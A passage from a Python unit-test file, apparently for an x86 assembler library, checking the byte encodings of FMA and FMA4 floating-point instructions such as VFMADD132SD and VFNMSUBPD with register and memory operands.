self.assertEqual(bytearray([0xC4, 0xC2, 0x89, 0xB9, 0x4C, 0xD3, 0xA8]), VFMADD231SD(xmm1, xmm14, qword[r11 + rdx*8 - 88]).encode())
class TestVFMADDSD(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xC3, 0x89, 0x6B, 0xC9, 0x30]), VFMADDSD(xmm1, xmm14, xmm3, xmm9).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x89, 0x6B, 0x4C, 0xD3, 0xA8, 0x30]), VFMADDSD(xmm1, xmm14, xmm3, qword[r11 + rdx*8 - 88]).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x09, 0x6B, 0x4C, 0xD3, 0xA8, 0x90]), VFMADDSD(xmm1, xmm14, qword[r11 + rdx*8 - 88], xmm9).encode())
class TestVFMSUB132SD(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xE2, 0x89, 0x9B, 0xCB]), VFMSUB132SD(xmm1, xmm14, xmm3).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x89, 0x9B, 0x4C, 0xD3, 0xA8]), VFMSUB132SD(xmm1, xmm14, qword[r11 + rdx*8 - 88]).encode())
class TestVFMSUB213SD(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xE2, 0x89, 0xAB, 0xCB]), VFMSUB213SD(xmm1, xmm14, xmm3).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x89, 0xAB, 0x4C, 0xD3, 0xA8]), VFMSUB213SD(xmm1, xmm14, qword[r11 + rdx*8 - 88]).encode())
class TestVFMSUB231SD(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xE2, 0x89, 0xBB, 0xCB]), VFMSUB231SD(xmm1, xmm14, xmm3).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x89, 0xBB, 0x4C, 0xD3, 0xA8]), VFMSUB231SD(xmm1, xmm14, qword[r11 + rdx*8 - 88]).encode())
class TestVFMSUBSD(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xC3, 0x89, 0x6F, 0xC9, 0x30]), VFMSUBSD(xmm1, xmm14, xmm3, xmm9).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x89, 0x6F, 0x4C, 0xD3, 0xA8, 0x30]), VFMSUBSD(xmm1, xmm14, xmm3, qword[r11 + rdx*8 - 88]).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x09, 0x6F, 0x4C, 0xD3, 0xA8, 0x90]), VFMSUBSD(xmm1, xmm14, qword[r11 + rdx*8 - 88], xmm9).encode())
class TestVFNMADD132SD(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xE2, 0x89, 0x9D, 0xCB]), VFNMADD132SD(xmm1, xmm14, xmm3).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x89, 0x9D, 0x4C, 0xD3, 0xA8]), VFNMADD132SD(xmm1, xmm14, qword[r11 + rdx*8 - 88]).encode())
class TestVFNMADD213SD(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xE2, 0x89, 0xAD, 0xCB]), VFNMADD213SD(xmm1, xmm14, xmm3).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x89, 0xAD, 0x4C, 0xD3, 0xA8]), VFNMADD213SD(xmm1, xmm14, qword[r11 + rdx*8 - 88]).encode())
class TestVFNMADD231SD(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xE2, 0x89, 0xBD, 0xCB]), VFNMADD231SD(xmm1, xmm14, xmm3).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x89, 0xBD, 0x4C, 0xD3, 0xA8]), VFNMADD231SD(xmm1, xmm14, qword[r11 + rdx*8 - 88]).encode())
class TestVFNMADDSD(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xC3, 0x89, 0x7B, 0xC9, 0x30]), VFNMADDSD(xmm1, xmm14, xmm3, xmm9).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x89, 0x7B, 0x4C, 0xD3, 0xA8, 0x30]), VFNMADDSD(xmm1, xmm14, xmm3, qword[r11 + rdx*8 - 88]).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x09, 0x7B, 0x4C, 0xD3, 0xA8, 0x90]), VFNMADDSD(xmm1, xmm14, qword[r11 + rdx*8 - 88], xmm9).encode())
class TestVFNMSUB132SD(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xE2, 0x89, 0x9F, 0xCB]), VFNMSUB132SD(xmm1, xmm14, xmm3).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x89, 0x9F, 0x4C, 0xD3, 0xA8]), VFNMSUB132SD(xmm1, xmm14, qword[r11 + rdx*8 - 88]).encode())
class TestVFNMSUB213SD(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xE2, 0x89, 0xAF, 0xCB]), VFNMSUB213SD(xmm1, xmm14, xmm3).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x89, 0xAF, 0x4C, 0xD3, 0xA8]), VFNMSUB213SD(xmm1, xmm14, qword[r11 + rdx*8 - 88]).encode())
class TestVFNMSUB231SD(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xE2, 0x89, 0xBF, 0xCB]), VFNMSUB231SD(xmm1, xmm14, xmm3).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x89, 0xBF, 0x4C, 0xD3, 0xA8]), VFNMSUB231SD(xmm1, xmm14, qword[r11 + rdx*8 - 88]).encode())
class TestVFNMSUBSD(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xC3, 0x89, 0x7F, 0xC9, 0x30]), VFNMSUBSD(xmm1, xmm14, xmm3, xmm9).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x89, 0x7F, 0x4C, 0xD3, 0xA8, 0x30]), VFNMSUBSD(xmm1, xmm14, xmm3, qword[r11 + rdx*8 - 88]).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x09, 0x7F, 0x4C, 0xD3, 0xA8, 0x90]), VFNMSUBSD(xmm1, xmm14, qword[r11 + rdx*8 - 88], xmm9).encode())
class TestVFMADD132PS(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xE2, 0x09, 0x98, 0xCB]), VFMADD132PS(xmm1, xmm14, xmm3).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x09, 0x98, 0x4C, 0xC2, 0xB3]), VFMADD132PS(xmm1, xmm14, oword[r10 + rax*8 - 77]).encode())
self.assertEqual(bytearray([0xC4, 0xE2, 0x05, 0x98, 0xD4]), VFMADD132PS(ymm2, ymm15, ymm4).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x05, 0x98, 0x54, 0xD9, 0xBE]), VFMADD132PS(ymm2, ymm15, hword[r9 + rbx*8 - 66]).encode())
class TestVFMADD213PS(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xE2, 0x09, 0xA8, 0xCB]), VFMADD213PS(xmm1, xmm14, xmm3).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x09, 0xA8, 0x4C, 0xC2, 0xB3]), VFMADD213PS(xmm1, xmm14, oword[r10 + rax*8 - 77]).encode())
self.assertEqual(bytearray([0xC4, 0xE2, 0x05, 0xA8, 0xD4]), VFMADD213PS(ymm2, ymm15, ymm4).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x05, 0xA8, 0x54, 0xD9, 0xBE]), VFMADD213PS(ymm2, ymm15, hword[r9 + rbx*8 - 66]).encode())
class TestVFMADD231PS(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xE2, 0x09, 0xB8, 0xCB]), VFMADD231PS(xmm1, xmm14, xmm3).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x09, 0xB8, 0x4C, 0xC2, 0xB3]), VFMADD231PS(xmm1, xmm14, oword[r10 + rax*8 - 77]).encode())
self.assertEqual(bytearray([0xC4, 0xE2, 0x05, 0xB8, 0xD4]), VFMADD231PS(ymm2, ymm15, ymm4).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x05, 0xB8, 0x54, 0xD9, 0xBE]), VFMADD231PS(ymm2, ymm15, hword[r9 + rbx*8 - 66]).encode())
class TestVFMADDPS(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xC3, 0x89, 0x68, 0xC9, 0x30]), VFMADDPS(xmm1, xmm14, xmm3, xmm9).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x89, 0x68, 0x4C, 0xC2, 0xB3, 0x30]), VFMADDPS(xmm1, xmm14, xmm3, oword[r10 + rax*8 - 77]).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x09, 0x68, 0x4C, 0xC2, 0xB3, 0x90]), VFMADDPS(xmm1, xmm14, oword[r10 + rax*8 - 77], xmm9).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x85, 0x68, 0xD2, 0x40]), VFMADDPS(ymm2, ymm15, ymm4, ymm10).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x85, 0x68, 0x54, 0xD9, 0xBE, 0x40]), VFMADDPS(ymm2, ymm15, ymm4, hword[r9 + rbx*8 - 66]).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x05, 0x68, 0x54, 0xD9, 0xBE, 0xA0]), VFMADDPS(ymm2, ymm15, hword[r9 + rbx*8 - 66], ymm10).encode())
class TestVFMSUB132PS(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xE2, 0x09, 0x9A, 0xCB]), VFMSUB132PS(xmm1, xmm14, xmm3).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x09, 0x9A, 0x4C, 0xC2, 0xB3]), VFMSUB132PS(xmm1, xmm14, oword[r10 + rax*8 - 77]).encode())
self.assertEqual(bytearray([0xC4, 0xE2, 0x05, 0x9A, 0xD4]), VFMSUB132PS(ymm2, ymm15, ymm4).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x05, 0x9A, 0x54, 0xD9, 0xBE]), VFMSUB132PS(ymm2, ymm15, hword[r9 + rbx*8 - 66]).encode())
class TestVFMSUB213PS(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xE2, 0x09, 0xAA, 0xCB]), VFMSUB213PS(xmm1, xmm14, xmm3).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x09, 0xAA, 0x4C, 0xC2, 0xB3]), VFMSUB213PS(xmm1, xmm14, oword[r10 + rax*8 - 77]).encode())
self.assertEqual(bytearray([0xC4, 0xE2, 0x05, 0xAA, 0xD4]), VFMSUB213PS(ymm2, ymm15, ymm4).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x05, 0xAA, 0x54, 0xD9, 0xBE]), VFMSUB213PS(ymm2, ymm15, hword[r9 + rbx*8 - 66]).encode())
class TestVFMSUB231PS(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xE2, 0x09, 0xBA, 0xCB]), VFMSUB231PS(xmm1, xmm14, xmm3).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x09, 0xBA, 0x4C, 0xC2, 0xB3]), VFMSUB231PS(xmm1, xmm14, oword[r10 + rax*8 - 77]).encode())
self.assertEqual(bytearray([0xC4, 0xE2, 0x05, 0xBA, 0xD4]), VFMSUB231PS(ymm2, ymm15, ymm4).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x05, 0xBA, 0x54, 0xD9, 0xBE]), VFMSUB231PS(ymm2, ymm15, hword[r9 + rbx*8 - 66]).encode())
class TestVFMSUBPS(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xC3, 0x89, 0x6C, 0xC9, 0x30]), VFMSUBPS(xmm1, xmm14, xmm3, xmm9).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x89, 0x6C, 0x4C, 0xC2, 0xB3, 0x30]), VFMSUBPS(xmm1, xmm14, xmm3, oword[r10 + rax*8 - 77]).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x09, 0x6C, 0x4C, 0xC2, 0xB3, 0x90]), VFMSUBPS(xmm1, xmm14, oword[r10 + rax*8 - 77], xmm9).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x85, 0x6C, 0xD2, 0x40]), VFMSUBPS(ymm2, ymm15, ymm4, ymm10).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x85, 0x6C, 0x54, 0xD9, 0xBE, 0x40]), VFMSUBPS(ymm2, ymm15, ymm4, hword[r9 + rbx*8 - 66]).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x05, 0x6C, 0x54, 0xD9, 0xBE, 0xA0]), VFMSUBPS(ymm2, ymm15, hword[r9 + rbx*8 - 66], ymm10).encode())
class TestVFNMADD132PS(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xE2, 0x09, 0x9C, 0xCB]), VFNMADD132PS(xmm1, xmm14, xmm3).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x09, 0x9C, 0x4C, 0xC2, 0xB3]), VFNMADD132PS(xmm1, xmm14, oword[r10 + rax*8 - 77]).encode())
self.assertEqual(bytearray([0xC4, 0xE2, 0x05, 0x9C, 0xD4]), VFNMADD132PS(ymm2, ymm15, ymm4).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x05, 0x9C, 0x54, 0xD9, 0xBE]), VFNMADD132PS(ymm2, ymm15, hword[r9 + rbx*8 - 66]).encode())
class TestVFNMADD213PS(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xE2, 0x09, 0xAC, 0xCB]), VFNMADD213PS(xmm1, xmm14, xmm3).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x09, 0xAC, 0x4C, 0xC2, 0xB3]), VFNMADD213PS(xmm1, xmm14, oword[r10 + rax*8 - 77]).encode())
self.assertEqual(bytearray([0xC4, 0xE2, 0x05, 0xAC, 0xD4]), VFNMADD213PS(ymm2, ymm15, ymm4).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x05, 0xAC, 0x54, 0xD9, 0xBE]), VFNMADD213PS(ymm2, ymm15, hword[r9 + rbx*8 - 66]).encode())
class TestVFNMADD231PS(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xE2, 0x09, 0xBC, 0xCB]), VFNMADD231PS(xmm1, xmm14, xmm3).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x09, 0xBC, 0x4C, 0xC2, 0xB3]), VFNMADD231PS(xmm1, xmm14, oword[r10 + rax*8 - 77]).encode())
self.assertEqual(bytearray([0xC4, 0xE2, 0x05, 0xBC, 0xD4]), VFNMADD231PS(ymm2, ymm15, ymm4).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x05, 0xBC, 0x54, 0xD9, 0xBE]), VFNMADD231PS(ymm2, ymm15, hword[r9 + rbx*8 - 66]).encode())
class TestVFNMADDPS(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xC3, 0x89, 0x78, 0xC9, 0x30]), VFNMADDPS(xmm1, xmm14, xmm3, xmm9).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x89, 0x78, 0x4C, 0xC2, 0xB3, 0x30]), VFNMADDPS(xmm1, xmm14, xmm3, oword[r10 + rax*8 - 77]).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x09, 0x78, 0x4C, 0xC2, 0xB3, 0x90]), VFNMADDPS(xmm1, xmm14, oword[r10 + rax*8 - 77], xmm9).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x85, 0x78, 0xD2, 0x40]), VFNMADDPS(ymm2, ymm15, ymm4, ymm10).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x85, 0x78, 0x54, 0xD9, 0xBE, 0x40]), VFNMADDPS(ymm2, ymm15, ymm4, hword[r9 + rbx*8 - 66]).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x05, 0x78, 0x54, 0xD9, 0xBE, 0xA0]), VFNMADDPS(ymm2, ymm15, hword[r9 + rbx*8 - 66], ymm10).encode())
class TestVFNMSUB132PS(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xE2, 0x09, 0x9E, 0xCB]), VFNMSUB132PS(xmm1, xmm14, xmm3).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x09, 0x9E, 0x4C, 0xC2, 0xB3]), VFNMSUB132PS(xmm1, xmm14, oword[r10 + rax*8 - 77]).encode())
self.assertEqual(bytearray([0xC4, 0xE2, 0x05, 0x9E, 0xD4]), VFNMSUB132PS(ymm2, ymm15, ymm4).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x05, 0x9E, 0x54, 0xD9, 0xBE]), VFNMSUB132PS(ymm2, ymm15, hword[r9 + rbx*8 - 66]).encode())
class TestVFNMSUB213PS(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xE2, 0x09, 0xAE, 0xCB]), VFNMSUB213PS(xmm1, xmm14, xmm3).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x09, 0xAE, 0x4C, 0xC2, 0xB3]), VFNMSUB213PS(xmm1, xmm14, oword[r10 + rax*8 - 77]).encode())
self.assertEqual(bytearray([0xC4, 0xE2, 0x05, 0xAE, 0xD4]), VFNMSUB213PS(ymm2, ymm15, ymm4).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x05, 0xAE, 0x54, 0xD9, 0xBE]), VFNMSUB213PS(ymm2, ymm15, hword[r9 + rbx*8 - 66]).encode())
class TestVFNMSUB231PS(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xE2, 0x09, 0xBE, 0xCB]), VFNMSUB231PS(xmm1, xmm14, xmm3).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x09, 0xBE, 0x4C, 0xC2, 0xB3]), VFNMSUB231PS(xmm1, xmm14, oword[r10 + rax*8 - 77]).encode())
self.assertEqual(bytearray([0xC4, 0xE2, 0x05, 0xBE, 0xD4]), VFNMSUB231PS(ymm2, ymm15, ymm4).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x05, 0xBE, 0x54, 0xD9, 0xBE]), VFNMSUB231PS(ymm2, ymm15, hword[r9 + rbx*8 - 66]).encode())
class TestVFNMSUBPS(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xC3, 0x89, 0x7C, 0xC9, 0x30]), VFNMSUBPS(xmm1, xmm14, xmm3, xmm9).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x89, 0x7C, 0x4C, 0xC2, 0xB3, 0x30]), VFNMSUBPS(xmm1, xmm14, xmm3, oword[r10 + rax*8 - 77]).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x09, 0x7C, 0x4C, 0xC2, 0xB3, 0x90]), VFNMSUBPS(xmm1, xmm14, oword[r10 + rax*8 - 77], xmm9).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x85, 0x7C, 0xD2, 0x40]), VFNMSUBPS(ymm2, ymm15, ymm4, ymm10).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x85, 0x7C, 0x54, 0xD9, 0xBE, 0x40]), VFNMSUBPS(ymm2, ymm15, ymm4, hword[r9 + rbx*8 - 66]).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x05, 0x7C, 0x54, 0xD9, 0xBE, 0xA0]), VFNMSUBPS(ymm2, ymm15, hword[r9 + rbx*8 - 66], ymm10).encode())
class TestVFMADD132PD(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xE2, 0x89, 0x98, 0xCB]), VFMADD132PD(xmm1, xmm14, xmm3).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x89, 0x98, 0x4C, 0xC2, 0xB3]), VFMADD132PD(xmm1, xmm14, oword[r10 + rax*8 - 77]).encode())
self.assertEqual(bytearray([0xC4, 0xE2, 0x85, 0x98, 0xD4]), VFMADD132PD(ymm2, ymm15, ymm4).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x85, 0x98, 0x54, 0xD9, 0xBE]), VFMADD132PD(ymm2, ymm15, hword[r9 + rbx*8 - 66]).encode())
class TestVFMADD213PD(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xE2, 0x89, 0xA8, 0xCB]), VFMADD213PD(xmm1, xmm14, xmm3).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x89, 0xA8, 0x4C, 0xC2, 0xB3]), VFMADD213PD(xmm1, xmm14, oword[r10 + rax*8 - 77]).encode())
self.assertEqual(bytearray([0xC4, 0xE2, 0x85, 0xA8, 0xD4]), VFMADD213PD(ymm2, ymm15, ymm4).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x85, 0xA8, 0x54, 0xD9, 0xBE]), VFMADD213PD(ymm2, ymm15, hword[r9 + rbx*8 - 66]).encode())
class TestVFMADD231PD(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xE2, 0x89, 0xB8, 0xCB]), VFMADD231PD(xmm1, xmm14, xmm3).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x89, 0xB8, 0x4C, 0xC2, 0xB3]), VFMADD231PD(xmm1, xmm14, oword[r10 + rax*8 - 77]).encode())
self.assertEqual(bytearray([0xC4, 0xE2, 0x85, 0xB8, 0xD4]), VFMADD231PD(ymm2, ymm15, ymm4).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x85, 0xB8, 0x54, 0xD9, 0xBE]), VFMADD231PD(ymm2, ymm15, hword[r9 + rbx*8 - 66]).encode())
class TestVFMADDPD(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xC3, 0x89, 0x69, 0xC9, 0x30]), VFMADDPD(xmm1, xmm14, xmm3, xmm9).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x89, 0x69, 0x4C, 0xC2, 0xB3, 0x30]), VFMADDPD(xmm1, xmm14, xmm3, oword[r10 + rax*8 - 77]).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x09, 0x69, 0x4C, 0xC2, 0xB3, 0x90]), VFMADDPD(xmm1, xmm14, oword[r10 + rax*8 - 77], xmm9).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x85, 0x69, 0xD2, 0x40]), VFMADDPD(ymm2, ymm15, ymm4, ymm10).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x85, 0x69, 0x54, 0xD9, 0xBE, 0x40]), VFMADDPD(ymm2, ymm15, ymm4, hword[r9 + rbx*8 - 66]).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x05, 0x69, 0x54, 0xD9, 0xBE, 0xA0]), VFMADDPD(ymm2, ymm15, hword[r9 + rbx*8 - 66], ymm10).encode())
class TestVFMSUB132PD(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xE2, 0x89, 0x9A, 0xCB]), VFMSUB132PD(xmm1, xmm14, xmm3).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x89, 0x9A, 0x4C, 0xC2, 0xB3]), VFMSUB132PD(xmm1, xmm14, oword[r10 + rax*8 - 77]).encode())
self.assertEqual(bytearray([0xC4, 0xE2, 0x85, 0x9A, 0xD4]), VFMSUB132PD(ymm2, ymm15, ymm4).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x85, 0x9A, 0x54, 0xD9, 0xBE]), VFMSUB132PD(ymm2, ymm15, hword[r9 + rbx*8 - 66]).encode())
class TestVFMSUB213PD(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xE2, 0x89, 0xAA, 0xCB]), VFMSUB213PD(xmm1, xmm14, xmm3).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x89, 0xAA, 0x4C, 0xC2, 0xB3]), VFMSUB213PD(xmm1, xmm14, oword[r10 + rax*8 - 77]).encode())
self.assertEqual(bytearray([0xC4, 0xE2, 0x85, 0xAA, 0xD4]), VFMSUB213PD(ymm2, ymm15, ymm4).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x85, 0xAA, 0x54, 0xD9, 0xBE]), VFMSUB213PD(ymm2, ymm15, hword[r9 + rbx*8 - 66]).encode())
class TestVFMSUB231PD(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xE2, 0x89, 0xBA, 0xCB]), VFMSUB231PD(xmm1, xmm14, xmm3).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x89, 0xBA, 0x4C, 0xC2, 0xB3]), VFMSUB231PD(xmm1, xmm14, oword[r10 + rax*8 - 77]).encode())
self.assertEqual(bytearray([0xC4, 0xE2, 0x85, 0xBA, 0xD4]), VFMSUB231PD(ymm2, ymm15, ymm4).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x85, 0xBA, 0x54, 0xD9, 0xBE]), VFMSUB231PD(ymm2, ymm15, hword[r9 + rbx*8 - 66]).encode())
class TestVFMSUBPD(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xC3, 0x89, 0x6D, 0xC9, 0x30]), VFMSUBPD(xmm1, xmm14, xmm3, xmm9).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x89, 0x6D, 0x4C, 0xC2, 0xB3, 0x30]), VFMSUBPD(xmm1, xmm14, xmm3, oword[r10 + rax*8 - 77]).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x09, 0x6D, 0x4C, 0xC2, 0xB3, 0x90]), VFMSUBPD(xmm1, xmm14, oword[r10 + rax*8 - 77], xmm9).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x85, 0x6D, 0xD2, 0x40]), VFMSUBPD(ymm2, ymm15, ymm4, ymm10).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x85, 0x6D, 0x54, 0xD9, 0xBE, 0x40]), VFMSUBPD(ymm2, ymm15, ymm4, hword[r9 + rbx*8 - 66]).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x05, 0x6D, 0x54, 0xD9, 0xBE, 0xA0]), VFMSUBPD(ymm2, ymm15, hword[r9 + rbx*8 - 66], ymm10).encode())
class TestVFNMADD132PD(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xE2, 0x89, 0x9C, 0xCB]), VFNMADD132PD(xmm1, xmm14, xmm3).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x89, 0x9C, 0x4C, 0xC2, 0xB3]), VFNMADD132PD(xmm1, xmm14, oword[r10 + rax*8 - 77]).encode())
self.assertEqual(bytearray([0xC4, 0xE2, 0x85, 0x9C, 0xD4]), VFNMADD132PD(ymm2, ymm15, ymm4).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x85, 0x9C, 0x54, 0xD9, 0xBE]), VFNMADD132PD(ymm2, ymm15, hword[r9 + rbx*8 - 66]).encode())
class TestVFNMADD213PD(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xE2, 0x89, 0xAC, 0xCB]), VFNMADD213PD(xmm1, xmm14, xmm3).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x89, 0xAC, 0x4C, 0xC2, 0xB3]), VFNMADD213PD(xmm1, xmm14, oword[r10 + rax*8 - 77]).encode())
self.assertEqual(bytearray([0xC4, 0xE2, 0x85, 0xAC, 0xD4]), VFNMADD213PD(ymm2, ymm15, ymm4).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x85, 0xAC, 0x54, 0xD9, 0xBE]), VFNMADD213PD(ymm2, ymm15, hword[r9 + rbx*8 - 66]).encode())
class TestVFNMADD231PD(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xE2, 0x89, 0xBC, 0xCB]), VFNMADD231PD(xmm1, xmm14, xmm3).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x89, 0xBC, 0x4C, 0xC2, 0xB3]), VFNMADD231PD(xmm1, xmm14, oword[r10 + rax*8 - 77]).encode())
self.assertEqual(bytearray([0xC4, 0xE2, 0x85, 0xBC, 0xD4]), VFNMADD231PD(ymm2, ymm15, ymm4).encode())
self.assertEqual(bytearray([0xC4, 0xC2, 0x85, 0xBC, 0x54, 0xD9, 0xBE]), VFNMADD231PD(ymm2, ymm15, hword[r9 + rbx*8 - 66]).encode())
class TestVFNMADDPD(unittest.TestCase):
def runTest(self):
self.assertEqual(bytearray([0xC4, 0xC3, 0x89, 0x79, 0xC9, 0x30]), VFNMADDPD(xmm1, xmm14, xmm3, xmm9).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x89, 0x79, 0x4C, 0xC2, 0xB3, 0x30]), VFNMADDPD(xmm1, xmm14, xmm3, oword[r10 + rax*8 - 77]).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x09, 0x79, 0x4C, 0xC2, 0xB3, 0x90]), VFNMADDPD(xmm1, xmm14, oword[r10 + rax*8 - 77], xmm9).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x85, 0x79, 0xD2, 0x40]), VFNMADDPD(ymm2, ymm15, ymm4, ymm10).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x85, 0x79, 0x54, 0xD9, 0xBE, 0x40]), VFNMADDPD(ymm2, ymm15, ymm4, hword[r9 + rbx*8 - 66]).encode())
self.assertEqual(bytearray([0xC4, 0xC3, 0x05, 0x79, 0x54, 0xD9, 0xBE, 0xA0]), VFNMADDPD(ymm2, ymm15, hword[r9 + rbx*8 - 66], ymm10).encode())
class TestVFNMSUB132PD(unittest.TestCase):
def runTest(self):
